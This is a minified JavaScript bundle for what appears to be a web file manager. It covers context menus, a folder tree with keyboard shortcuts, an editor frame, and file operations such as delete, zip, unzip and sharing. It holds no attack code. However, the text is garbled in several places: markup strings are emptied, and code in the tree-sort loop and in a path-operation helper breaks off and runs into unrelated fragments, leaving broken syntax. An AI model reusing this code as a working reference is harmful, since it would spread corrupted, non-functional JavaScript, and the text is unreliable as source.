{{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/shareCommon/rightMenu",[],function(a,b){var c=".menu-file",d=".menu-folder",e=".menu-more",f=".menu-tree-root",g=".menu-tree-folder",h=".menu-tree-file",i={"list-icon":{name:LNG.list_type,icon:"eye-open",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep105:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},j=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),l(),m(),n(),o(),r(),s(),w(),v(),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},k=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),r(),w(),t(),u(),v(),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(a,b){p(a,b)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":i["list-icon"],"sort-by":i["sort-by"],"set-file-icon-size":i["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:d,className:d.substr(1),callback:function(a,b){q(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},n=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,className:c.substr(1),callback:function(a,b){q(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},o=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(a,b){q(a)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},p=function(a){switch(a){case"refresh":ui.f5(!0,!0);break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open()}},q=function(a){switch(a){case"open":ui.path.open();break;case"down":ui.path.download();break;case"search":ui.path.search();break;case"show-file":ui.path.shareFile();break;case"open-project":ui.path.openProject();break;case"info":ui.path.info()}},r=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:f,callback:function(a,b){x(a)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},s=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:g,callback:function(a,b){x(a)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},t=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:g,callback:function(a,b){x(a)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:h,callback:function(a,b){x(a)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(a,b){var c=b.$trigger.attr("id"),d=$.dialog.list[c];switch(a){case"quit-others":$.each($.dialog.list,function(a,b){c!=a&&b.close()});break;case"quit":d.close()}}})},w=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{"close-all":{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},"show-all":{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},"hide-all":{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(a,b){var c=b.$trigger.attr("id");$.dialog.list[c];switch(a){case"show-all":$.each($.dialog.list,function(a,b){b.display(!0)});break;case"hide-all":$.each($.dialog.list,function(a,b){b.display(!1)});break;case"close-all":$.each($.dialog.list,function(a,b){b.close()})}}})},x=function(a){switch(a){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"show-file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh-all":ui.tree.init();break;case"quit":}};return{initExplorer:j,initEditor:k}});;define("app/src/shareEditor/ui",[],function(a,b,c){var d=function(){var a=!1,b=0,c=0,d=0,e=$(".frame-left"),f=$(".frame-resize"),g=$(".frame-right");f.die("mousedown").live("mousedown",function(a){return 1!=a.which?!0:(h(a),this.setCapture&&this.setCapture(),$(document).mousemove(function(a){i(a)}),$(document).one("mouseup",function(a){return j(a),this.releaseCapture&&this.releaseCapture(),stopPP(a),!1}),stopPP(a),!1)});var h=function(d){a=!0,b=d.pageX,c=$(".frame-left").width(),f.addClass("active"),$(".resize-mask").css("display","block")},i=function(h){if(!a)return!0;var i=h.pageX-b,j=c+i;d>j&&(j=d),j>$(document).width()-200&&(j=$(document).width()-200),e.css("width",j),f.css("left",j-5),g.css("left",j+1)},j=function(b){return a?(a=!1,f.removeClass("active"),void $(".resize-mask").css("display","none")):!1}},e=function(){$(".tools-left a").click(function(a){var b=$(this).attr("class");switch(b){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init()}})};return{init:function(){d(),e(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(a){a.preventDefault(),a.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(a){a.Editor.save()})})},setTheme:function(a){core.setSkin(a,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(b){b.Editor.setTheme(a)})},editorFull:function(){var a=$("iframe[name=OpenopenEditor]");a.toggleClass("frame-fullscreen")},fileHistory:function(a){var b=G.project;if("undefined"!=typeof G.sid&&(b=b+"__"+G.sid),b="editorHistory_"+b,void 0==a){var c=LocalData.get(b);return c=jsonDecode(c),$.isArray(c)||(c=[]),c}LocalData.set(b,jsonEncode(a))}}});;define("app/common/tree",["../path/pathOperate","../path/tpl/fileinfo/fileInfo.html","../path/tpl/fileinfo/pathInfo.html","../path/tpl/share.html","../path/tpl/fileinfo/pathInfoMore.html","../path/tpl/appEdit.html","../path/clipboard","../path/search","../path/tpl/search.html","../path/tpl/searchList.html"],function(a,b){var c,d,e=a("../path/pathOperate"),f=a("../path/clipboard"),g=a("../path/search"),h=!1;ui.pathOperate=e;var i=function(a,b){var c=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(a&&a[0]&&-1!==$.inArray(a[0].menuType,c))return a;for(var d=[],e=[],f=0;f'+LNG.system_error+"")},success:function(a){if(!a.code)return void $("#folder-list-tree").html('
          '+LNG.system_error+"
          ");var b=i(a.data,!0);b=j.reset(b),$.fn.zTree.init($("#folder-list-tree"),n,b),d=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(a){l(a,"up")}).bind("down",function(a){l(a,"down")}).bind("left",function(a){l(a,"left")}).bind("right",function(a){l(a,"right")}),Mousetrap.bind("enter",function(a){tree.open()}).bind(["del","command+backspace"],function(a){tree.remove()}).bind("f2",function(a){stopPP(a),tree.rname()}).bind(["ctrl+f","command+f"],function(a){stopPP(a),tree.search()}).bind(["ctrl+c","command+c"],function(a){tree.copy()}).bind(["ctrl+x","command+x"],function(a){tree.cute()}).bind(["ctrl+v","command+v"],function(a){tree.past()}).bind("alt+m",function(a){tree.create("folder")}).bind("alt+n",function(a){tree.create("file")}))},l=function(a,b){stopPP(a);var c=d.getSelectedNodes()[0];if(c)switch(b){case"up":var e=c.getPreNode();if(e){if(e.open&&e.children.length>0)for(;e.open&&e.children&&e.children.length>=1;)e=e.children[e.children.length-1]}else e=c.getParentNode();d.selectNode(e);break;case"down":if(c.open&&c.children.length>=1)e=c.children[0];else{var f=c,e=f.getNextNode()||f.getParentNode().getNextNode();try{for(;!e;)f=f.getParentNode(),e=f.getNextNode()||f.getParentNode().getNextNode()}catch(a){}}d.selectNode(e);break;case"left":c.isParent&&c.open?d.expandNode(c,!1):d.selectNode(c.getParentNode());break;case"right":c.open?d.selectNode(c.children[0]):d.expandNode(c,!0)}},m=function(){return core.isApp("editor")?!1:!0},n={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(a,b,c){return c.code?i(c.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(a,b){var c=15,d=$("#"+b.tId+"_switch"),e=$("#"+b.tId+"_ico");d.remove(),b.iconSkin=b.tree_icon;var f=b.tree_icon;if(b.ext?f=b.ext:b.tree_icon||(f=b.type),e.before(d).before(''+core.iconSmall(f)+"").remove(),void 0!=b.ext&&e.attr("class","").addClass("file "+b.ext).removeAttr("style"),b.level>=1){var g="";d.before(g)}d.before("");var h="";void 0!=b.menuType?h=b.menuType:(("file"==b.type||"oexe"==b.ext)&&(h="menu-tree-file"),"folder"==b.type&&(h="menu-tree-folder"));var i=LNG.name+":"+b.name+"\n"+LNG.size+":"+pathTools.fileSize(b.size)+"\n"+LNG.modify_time+":"+b.mtime;"file"!=b.type&&(i=b.name),d.parent().addClass(h).attr("title",i),0==b.isWriteable&&d.parent().addClass("file-not-writeable"),0==b.isReadable&&d.parent().addClass("file-not-readable"),0===b.exists&&d.parent().addClass("file-not-readable")}},callback:{onClick:function(a,b,c){if(0==c.level&&j.save(),$(a.target).hasClass("menu-item")||$(a.target).parent().hasClass("menu-item")){var e=$("#"+c.tId+"_a"),f=e.find(".menu-item");return e.contextMenu({x:f.offset().left+f.width(),y:f.offset().top}),stopPP(a)}return d.selectNode(c),core.isApp("editor")&&"folder"==c.type?void d.expandNode(c):void(core.isApp("editor")||"folder"!=c.type?(kodApp.setLastOpenTarget($("#"+c.tId)),kodApp.open(o().path)):ui.path.list(c.path))},beforeDblClick:function(){return!0},onCollapse:function(a,b,c){0==c.level&&j.save()},onExpand:function(a,b,c){0==c.level&&j.save()},onDblClick:function(a,b,c){return $(a.target).hasClass("switch")||!m()?!1:void d.expandNode(c)},beforeRightClick:function(a,b){d.selectNode(b)},beforeAsync:function(a,b){b.ajax_name=b.name,b.ajax_path=b.path,$("#"+b.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(a,b,e,f){return $("#"+e.tId+"_my_ico").removeClass("ico_loading"),0==f.data.length?void d.removeChildNodes(e):void("function"==typeof c&&(c(),c=void 0))},onRename:function(a,b,f,g){var h=f.getParentNode();if(d.getNodesByParam("name",f.name,h).length>1)return Tips.tips(LNG.name_isexists,!1),void d.removeNode(f);if(f.create){var i=f.path+"/"+f.name;"folder"==f.type?e.newFolder(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)}):e.newFile(i,function(a){c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t()},p(h)})}else{var j=rtrim(f.path,"/"),k=core.pathFather(f.path)+f.name;e.rname(j,k,function(a){f.path=a,c=function(){var a=d.getNodesByParam("name",f.name,h)[0];d.selectNode(a),t(),"folder"==f.type&&ui.path.list(f.path)},p(h)})}},beforeDrag:function(a,b){for(var c=0,d=b.length;d>c;c++)if(b[c].drag===!1)return!1;return!0},beforeDrop:function(a,b,c,d){return c?c.drop!==!1:!0},onDrop:function(a,b,c,d,e){var g="",h="",i=c[0];(i.father||i.thisPath)&&(g=i.father+urlEncode(i.name),h=d.father+urlEncode(d.name),f.cuteDrag([{path:g,type:i.type}],h,function(){p(i)}))}}},o=function(a){if(d){var b=d.getSelectedNodes()[0],c="";return b?(c=b.type,("_null_"==c||void 0==c)&&(c="folder"),"file"==c&&(c=b.ext),a?[{path:b.path,type:c,node:b}]:{path:b.path,type:c,node:b}):{path:"",type:""}}},p=function(a){return a||(a=d.getSelectedNodes()[0]),a.isParent||(a=a.getParentNode())?void d.reAsyncChildNodes(a,"refresh"):void ui.tree.init()},q=function(){s(G.KOD_USER_FAV),t()},r=function(){q(),s(G.KOD_GROUP_ROOT_SELF),s(G.KOD_GROUP_ROOT_ALL)},s=function(a){var b=d.getNodesByParam("path",a,null);p(b[0])},t=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:o,treeOpenHistory:j,treeDataSort:i,init:k,refresh:p,refreshPath:s,refreshFav:q,refreshGroup:r,zTree:function(){return d},openEditor:function(){kodApp.open(o().path)},openWindow:function(){kodApp.openWindow(o().path)},share:function(){e.share(o())},download:function(){"folder"==o().type?e.zipDownload(o(!0)):kodApp.download(o().path)},setSelect:function(a){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var a=o();"oexe"==a.type&&(a.path=a.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(a.path,a.type)}},fav:function(){var a=o();a.name=a.node.name,a.node="null",e.fav(a)},createLink:function(a){var b=o();e.createLink(b.path,b.node.name,b.type,a,t)},search:function(){g("",o().path)},appEdit:function(){var a=o(),b=a.node;b.path=a.path,e.appEdit(b,function(){p(a.node.getParentNode())})},info:function(){e.info(o(!0))},copy:function(){f.copy(o(!0))},cute:function(){f.cute(o(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){f.copyDrag(o(!0),a,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){f.cuteDrag(o(!0),a,function(){s()})})},past:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.past(a.path,function(){t(),p(a.node)})},clone:function(){var a=o();a.node.isParent||(a.node=a.node.getParentNode()),f.copyDrag(o(!0),core.pathFather(a.path),function(){t(),p("folder"==a.type?a.node.getParentNode():a.node)},!0)},favRemove:function(a){e.favRemove(o().node.name,function(a){Tips.tips(a),q()})},remove:function(){var a=o(!0),b=a[0].node.getParentNode();a[0].type=a[0].node.type,a[0].type="folder"==a[0].type?"folder":"file",e.remove(a,function(){t(),p(b)})},checkIfChange:function(a){h||(h=!0,d&&(d.getNodesByFilter(function(b){var c=b.path;return"folder"==b.type&&core.pathClear(c)==core.pathClear(a)&&p(b),!1},!0),setTimeout(function(){h=!1},500)))},explorer:function(){var a=d.getSelectedNodes();if(a.length<=0){var b=d.getNodes();d.selectNode(b[0])}var c=o().path;"folder"!=o().type&&(c=core.pathFather(c)),core.explorer(c)},openProject:function(){core.explorerCode(o().path)},create:function(a){var b=d.getSelectedNodes();if(b.length<=0){var e=d.getNodes();d.selectNode(e[0])}else"file"==b[0].type&&d.selectNode(b[0].getParentNode());var f=o(),g=f.node,h=g.getParentNode(),i=0,j="folder"==a?"":"."+a,k="folder"==a?LNG.newfolder:LNG.newfile;if(0==d.getNodesByParam("name",k+j,h).length)k+=j;else{for(;d.getNodesByParam("name",k+"("+i+")"+j,h).length>0;)i++;k=k+"("+i+")"+j}var l={name:k,ext:j,type:a,create:!0,path:f.path};if(void 0!=g.children){var m=d.addNodes(g,l)[0];d.editName(m)}else"folder"!=g.type&&(g=g.getParentNode()),c=function(){var a=d.addNodes(g,l)[0];d.editName(a)},g.isParent?d.expandNode(g):c()},showFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+o().path;window.open(a)},rname:function(){var a=d.getSelectedNodes()[0];d.editName(a),a.beforeName=a.name}}});;define("app/path/pathOperate",["./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html"],function(a,b){tplFileInfo=a("./tpl/fileinfo/fileInfo.html"),tplPathInfo=a("./tpl/fileinfo/pathInfo.html");var c=["/","\\",":","*","?",'"',"<",">","|"],d=["/","\\"],e=function(a){var b=function(a,b){for(var c=b.length,d=0;c>d;d++)if(a.indexOf(b[d])>0)return!0;return!1},e=d;return G.systemOS&&"windows"==G.systemOS&&(e=c),b(a,e)?(Tips.tips(LNG.path_not_allow+": "+e.join(", "),!1),!1):!0},f=function(a){for(var b=[],c=function(a){return a?a.replace(/"/g,'\\\\"'):a},d=0;d";"share"==a[0].type&&G.selfShare[a[0].path]&&(j=""+htmlEncode(G.selfShare[a[0].path].name)+""),g=a.length>1?j+' ... '+a.length+LNG.remove_item+"
          "+g:j+"
          "+g}var k=function(){$.ajax({url:h,type:"POST",dataType:"json",data:i,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(c){if(Tips.close(c),ShareData.frameTop("",function(a){a.ui.f5()}),"share"==a[0].type){G.selfShare=c.info;var d=$.dialog.list["share-dialog"];d&&d.close()}e==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof b&&b(c)}})};c?k():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:e,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
          "+g+"
          ",ok:k,cancel:!0})}},k=function(a){if(core.authCheck("explorer.fileDownload",!0)&&!(a.length<1)){var b=G.appHost+"explorer/zipDownload";"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:b,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(a){Tips.close(a),Tips.tips(a);var b=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(a.info);b+="&accessToken="+G.accessToken,"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},l=function(a,b,c){a.length<1||(c||(c="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+c,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof b&&b(a.info)}}))},m=function(a,b,c){if(a){var d=function(a){$.ajax({url:a,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(a){Tips.close(a),"function"==typeof b&&b(a)}})},e=G.appHost+"explorer/unzip&path="+urlEncode(a);"toThis"==c&&(e+="&toThis=1"),"toFolder"==c?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(a){e+="&pathTo="+a,d(e)}):d(e)}},n=function(a){var b=a.path,c=core.pathPre(b);if(c==G.KOD_GROUP_PATH||c==G.KOD_GROUP_SHARE||c==G.KOD_USER_SHARE)return void Tips.tips(LNG.path_can_not_share,"warning");var d="folder"==a.type?"folder":"file";b.length<1||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(b),dataType:"json",error:core.ajaxError,success:function(a){if(a.code)o(a.data);else{G.selfShare=a.info;var c={path:b,type:d,name:core.pathThis(b)};p(c,function(a){a.code?(G.selfShare=a.info,ui.f5(),o(a.data)):(Tips.tips(a),o(void 0,function(){$(".content-info input[name=type]").val(d),$(".content-info input[name=path]").val(b),$(".content-info input[name=name]").val(core.pathThis(b)+"(1)"),"file"==d&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},o=function(b,c){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){q(b),void 0!=c&&c()})},p=function(a,b){$.ajax({url:G.appHost+"userShare/set",data:a,type:"POST",dataType:"json",beforeSend:function(a){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(a){$(".share-create-button").removeClass("disabled"),void 0!=b&&b(a)}})},q=function(b){var c=a("./tpl/share.html"),d=template.compile(c),e=d({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:e});var f="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:f}),$("#share-time").unbind("blur").bind("blur",function(a){stopPP(a)});var g=function(a){if($(".share-setting-more").addClass("hidden"),void 0==a)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{a.options&&(a.codeRead=a.options.codeRead,a.canUpload=a.options.canUpload,a.notDownload=a.options.notDownload),"undefined"==typeof a.canUpload&&(a.canUpload=""),b=a,a.showName||(a.showName=a.name),$(".content-info input[name=sid]").val(a.sid),$(".content-info input[name=type]").val(a.type),$(".content-info input[name=name]").val(a.name),$(".content-info input[name=showName]").val(a.showName),$(".content-info input[name=path]").val(a.path),$(".content-info input[name=timeTo]").val(a.timeTo),$(".content-info input[name=sharePassword]").val(a.sharePassword),$(".share-view-info").removeClass("hidden"),"undefined"==typeof a.numDownload&&(a.numDownload=0),"undefined"==typeof a.numView&&(a.numView=0);var c=LNG.share_view_num+a.numView+" "+LNG.share_download_num+a.numDownload;$(".share-view-info").html(c),"1"==a.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==a.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==a.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==a.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var d=a.type;"folder"==a.type&&(d=1==a.codeRead?"codeRead":"folder");var e=G.appHost+"share/"+d+"&user="+G.userID+"&sid="+a.sid;$(".content-info .share-url").val(e),(a.timeTo||a.canUpload||a.codeRead||a.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save),Hook.trigger("explorer.path.share.uiInit")}},h=function(){var a="";$(".share-dialog .content-info input[name]").each(function(){var b=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(b=$(this).attr("checked")?"1":""),a+="&"+$(this).attr("name")+"="+b}),p(a,function(a){a.code?(Tips.tips(LNG.success,!0),G.selfShare=a.info,ui.f5()):Tips.tips(a)})},i=function(){$(".share-action .share-remove-button").unbind("click").click(function(){j([{type:"share",path:b.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$("[name=sharePassword]").unbind("click").click(function(){trim($(this).val())||$(this).val(roundString(5)),$(this).blur().textSelect()});var a=$(".share-dialog .btn.copy"),c=new ClipboardJS(a.get(0),{text:function(a){h();var b=trim($("[name=sharePassword]").val()),c=$(".share-url").val();return b.length>0&&(c=LNG.share_url+":"+c+" "+LNG.share_password+":"+b),c}});c.on("success",function(a){$("input.share-url").textSelect()}),$(".share-action .share-create-button").unbind("click").click(function(){h();var a=$.dialog.list["share-dialog"];a&&a.close()}),$(".content-info .open-window").unbind("click").bind("click",function(){h(),window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var d=$("input.share-url");d.get(0);d.unbind("hover click").bind("hover click",function(a){d.textSelect()})};g(b),i()},r=function(a){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(a){Tips.tips(a)}})},s=function(a,b,c,d,e){if(!(a.length<1)){var f,g=G.myDesktop;d&&(g=core.pathFather(a)),f="folder"==c?"ui.path.list(hashDecode('"+hashEncode(a)+"'));":"ui.path.open(hashDecode('"+hashEncode(a)+"'));";var h=urlEncode(g+b+".oexe"),i=core.getPathIcon(a);""==i.icon&&(i.icon=c),$.ajax({url:G.appHost+"explorer/mkfile&path="+h,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:f,icon:i.icon})},success:function(a){Tips.tips(a),a.code&&(ShareData.frameTop("",function(a){a.ui.f5()}),"function"==typeof e&&e(a.info))}})}},t=function(a,b){if(!(a.length<1)){var c=core.pathThis(a),d=core.pathFather(a);jsrun="core.explorerCode('"+urlEncode(a)+"');";var e=urlEncode(d+c+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+e,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(a){a.code&&"function"==typeof b&&b(a.info)}})}},u=function(a,b,c){if(a){var d=G.appHost+"explorer/imageRotate&rotate="+b+"&path="+urlEncode(a);$.ajax({url:d,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){return a?(Tips.close(a),void(a.code&&"function"==typeof c&&c(a))):void Tips.close(LNG.php_env_error_gd,!1)}})}},v=function(b){var 